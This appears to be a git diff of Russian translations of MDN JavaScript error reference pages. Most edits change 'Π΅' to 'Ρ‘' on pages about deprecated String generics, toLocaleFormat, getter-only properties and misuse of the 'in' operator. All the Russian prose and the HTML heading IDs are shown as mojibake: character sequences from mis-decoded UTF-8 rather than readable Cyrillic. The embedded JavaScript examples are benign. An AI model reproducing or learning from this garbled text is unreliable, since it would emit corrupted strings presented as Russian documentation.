+<h3 id="Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ_синтаксис_с_использованиСм_сокращённого_синтаксиса_ΠΌΠ΅Ρ‚ΠΎΠ΄Π°">Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚Π½Ρ‹ΠΉ синтаксис с использованиСм сокращённого синтаксиса ΠΌΠ΅Ρ‚ΠΎΠ΄Π°</h3>
<p>Замыкания Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ getter'Π° ΠΈ setter'Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
diff --git a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
index 9bfa3ffb6c..84c437a28d 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_string_generics/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_String_generics
---
<div>{{jsSidebar("Errors")}}</div>
-<div>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° строковых ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½Π° с вСрсии Firefox 68. Π‘ΠΎΠ»Π΅Π΅ старыС вСрсии ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‚ ΠΎΠ± использовании Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</div>
+<div>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° строковых ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½Π° с вСрсии Firefox 68. Π‘ΠΎΠ»Π΅Π΅ старыС вСрсии ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°ΡŽΡ‚ ΠΎΠ± использовании Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</div>
<h2 id="Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅">Π‘ΠΎΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅</h2>
@@ -45,7 +45,7 @@ Warning: String.trimRight is deprecated; use String.prototype.trimRight
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>НСстандартныС ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref("String")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π² Firefox ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½Π°, начиная с вСрсии 68. Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров <code>String</code> ΠΊ Π»ΡŽΠ±Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ.</p>
+<p>НСстандартныС ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ {{jsxref("String")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌΠΈ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π² Firefox ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½Π°, начиная с вСрсии 68. Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров <code>String</code> ΠΊ Π»ΡŽΠ±Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -62,7 +62,7 @@ String(num).replace(/5/, '2');
<h2 id="ΠŸΡ€ΠΎΡΠ»ΠΎΠΉΠΊΠ°">ΠŸΡ€ΠΎΡΠ»ΠΎΠΉΠΊΠ°</h2>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΊΠΎΠ΄ прослойки, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΎΠ±ΠΎΠ±Ρ‰Π΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² String Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹:</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΊΠΎΠ΄ прослойки, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ ΠΎΠ±ΠΎΠ±Ρ‰Ρ‘Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² String Π² Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹:</p>
<pre class="brush: js">/*globals define*/
// ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎ всС Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΡ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ экзСмпляров String ΡƒΠΆΠ΅ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚
diff --git a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
index c90ca639e7..e843b0c45f 100644
--- a/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
+++ b/files/ru/web/javascript/reference/errors/deprecated_tolocaleformat/index.html
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat
<h3 id="ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ_синтаксис">ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ синтаксис</h3>
-<p>Π’ {{jsxref("Date.prototype.toLocaleFormat")}}Β ΠΌΠ΅Ρ‚ΠΎΠ΄ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ (ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° кроссбраузСрных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², доступна Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox).</p>
+<p>Π’ {{jsxref("Date.prototype.toLocaleFormat")}}Β ΠΌΠ΅Ρ‚ΠΎΠ΄ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ (ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° кроссбраузСрных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², доступна Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Firefox).</p>
<pre class="brush: js example-bad">var today = new Date();
var date = today.toLocaleFormat('%A, %e. %B %Y');
@@ -34,7 +34,7 @@ console.log(date);
<h3 id="ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ_стандартный_синтаксис_с_использованиСм_ECMAScript_IntlAPI">ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ стандартный синтаксис с использованиСм ECMAScript IntlAPI</h3>
-<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ECMA-402 (ECMAScript Intl API) опрСдСляСт стандартныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя с ΡƒΡ‡Π΅Ρ‚ΠΎΠΌ языка (доступно Π² Chrome 24+, Firefox 29+, IE11+, Safari10+).</p>
+<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ ECMA-402 (ECMAScript Intl API) опрСдСляСт стандартныС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя с ΡƒΡ‡Ρ‘Ρ‚ΠΎΠΌ языка (доступно Π² Chrome 24+, Firefox 29+, IE11+, Safari10+).</p>
<p>You can now either use the {{jsxref("Date.prototype.toLocaleDateString")}} method if you just want to format one date.</p>
diff --git a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
index 4219e825ba..1bea6c1135 100644
--- a/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
+++ b/files/ru/web/javascript/reference/errors/equal_as_assign/index.html
@@ -18,7 +18,7 @@ translation_of: Web/JavaScript/Reference/Errors/Equal_as_assign
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>Π‘Ρ‹Π»ΠΎ присвоСниС ( = ), ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ тСст Π½Π° присвоСниС (==). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, JavaScript (с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ строгими прСдупрСТдСниями) ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΠ± этом шаблонС.</p>
+<p>Π‘Ρ‹Π»ΠΎ присвоСниС ( = ), ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΎΠΆΠΈΠ΄Π°Π»ΠΈ тСст Π½Π° присвоСниС (==). Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, JavaScript (с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌΠΈ строгими прСдупрСТдСниями) ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΠ± этом шаблонС.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
index d9a8f5ae2c..d44d147e44 100644
--- a/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
+++ b/files/ru/web/javascript/reference/errors/for-each-in_loops_are_deprecated/index.html
@@ -14,7 +14,7 @@ translation_of: Web/JavaScript/Reference/Errors/For-each-in_loops_are_deprecated
<h2 id="Π§Ρ‚ΠΎ_пошло_Π½Π΅_Ρ‚Π°ΠΊ">Π§Ρ‚ΠΎ пошло Π½Π΅ Ρ‚Π°ΠΊ?</h2>
-<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}}Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½ Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
+<p>JavaScript 1.6's {{jsxref("Statements/for_each...in", "for each (variable in obj)")}}Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ устарСл ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½ Π² блиТайшСм Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -121,7 +121,7 @@ func(undefined); // prints nothing
<h4 id="ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ_синтаксис">ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ синтаксис</h4>
-<p>БущСствуСт ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΈΠ΄ΠΈΠΎΠΌΠ° для ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΏΠ°Ρ€Π°ΠΌ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Statements/for_each...in", "for each...in")}} ΠΈ осуТдСнный {{jsxref("Iterator")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p>БущСствуСт ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ°Ρ ΠΈΠ΄ΠΈΠΎΠΌΠ° для ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΏΠ°Ρ€Π°ΠΌ ΠΊΠ»ΡŽΡ‡-Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{jsxref("Statements/for_each...in", "for each...in")}} ΠΈ осуТдённый {{jsxref("Iterator")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<pre class="brush: js example-bad">var object = { a: 10, b: 20 };
diff --git a/files/ru/web/javascript/reference/errors/getter_only/index.html b/files/ru/web/javascript/reference/errors/getter_only/index.html
index 9dc64f048f..c7fd7169f9 100644
--- a/files/ru/web/javascript/reference/errors/getter_only/index.html
+++ b/files/ru/web/javascript/reference/errors/getter_only/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Errors/Getter_only
<pre class="syntaxbox">TypeError: Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойств Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния Π½Π΅ допускаСтся Π² строгом Ρ€Π΅ΠΆΠΈΠΌΠ΅ (Edge)
TypeError: установка свойства Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° "x" (Firefox)
-TypeError: Π½Π΅ удаСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство "prop" ΠΈΠ· #&lt;Object&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π³Π΅Ρ‚Ρ‚Π΅Ρ€ (Chrome)
+TypeError: Π½Π΅ удаётся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство "prop" ΠΈΠ· #&lt;Object&gt;, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π³Π΅Ρ‚Ρ‚Π΅Ρ€ (Chrome)
</pre>
@@ -25,7 +25,7 @@ TypeError: Π½Π΅ удаСтся ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство "prop" ΠΈΠ·
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ getter для свойства. Он Π½Π΅ Π·Π°Π΄Π°Π΅Ρ‚ сСттСр, Ρ‚Π°ΠΊ TypeError выдаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ Π΄ΠΎ 30. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСдСния см. Π’Π°ΠΊΠΆΠ΅ Π² {{jsxref("Object.defineProperty()")}} страницС.</p>
+<p>Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ getter для свойства. Он Π½Π΅ Π·Π°Π΄Π°Ρ‘Ρ‚ сСттСр, Ρ‚Π°ΠΊ TypeError выдаётся ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свойство Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹ Π΄ΠΎ 30. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свСдСния см. Π’Π°ΠΊΠΆΠ΅ Π² {{jsxref("Object.defineProperty()")}} страницС.</p>
<pre class="brush: js example-bad">"use strict";
@@ -45,7 +45,7 @@ arc.temperature; // 'get!'
arc.temperature = 30;
// TypeError: setting getter-only property "temperature"</pre>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π»ΠΈΠ±ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ строку 16, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π·Π°Π΄Π°Ρ‚ΡŒ свойство temperature, Π»ΠΈΠ±ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Π½Π΅Π΅ сСттСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Ρ€Π°Π½ΠΈΡ‚ΡŒ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π»ΠΈΠ±ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ строку 16, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° Π·Π°Π΄Π°Ρ‚ΡŒ свойство temperature, Π»ΠΈΠ±ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ для Π½Π΅Ρ‘ сСттСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: js example-good highlight[12]">"use strict";
diff --git a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
index 71cdda791f..af7eae5389 100644
--- a/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
+++ b/files/ru/web/javascript/reference/errors/identifier_after_number/index.html
@@ -22,9 +22,9 @@ SyntaxError: Π½Π΅ΠΏΡ€Π΅Π΄Π²ΠΈΠ΄Π΅Π½Π½ΠΎΠ΅ число (Chrome)
<p>Β </p>
-<p>ИмСна ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… {{Glossary("Identifier", "identifiers")}}Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ваш ΠΊΠΎΠ΄!</p>
+<p>ИмСна ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… {{Glossary("Identifier", "identifiers")}}Β ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ваш ΠΊΠΎΠ΄!</p>
-<p>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ JavaScript Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, символа подчСркивания ( _ ) ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° Π΄ΠΎΠ»Π»Π°Ρ€Π° ($). Они Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡Π°Ρ‚ΡŒ с Ρ†ΠΈΡ„Ρ€Ρ‹! Волько ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (0-9).</p>
+<p>Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ JavaScript Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с Π±ΡƒΠΊΠ²Ρ‹, символа подчёркивания ( _ ) ΠΈΠ»ΠΈ Π·Π½Π°ΠΊΠ° Π΄ΠΎΠ»Π»Π°Ρ€Π° ($). Они Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡Π°Ρ‚ΡŒ с Ρ†ΠΈΡ„Ρ€Ρ‹! Волько ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ символы ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ†ΠΈΡ„Ρ€Π°ΠΌΠΈ (0-9).</p>
<p>Β </p>
diff --git a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
index a61a8d5f41..9563af464e 100644
--- a/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
+++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
@@ -1,6 +1,6 @@
---
title: >-
- TypeError: cannot use 'in' operator to search for 'x' in 'y'(Π½Π΅ удаСтся
+ TypeError: cannot use 'in' operator to search for 'x' in 'y'(Π½Π΅ удаётся
ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ 'in' ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ поиска для 'x' Π² 'y')
slug: Web/JavaScript/Reference/Errors/in_operator_no_object
translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object
@@ -43,7 +43,7 @@ TypeError: Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ 'in' Π
<pre class="brush: js example-bad">var foo = null;
"bar" in foo;
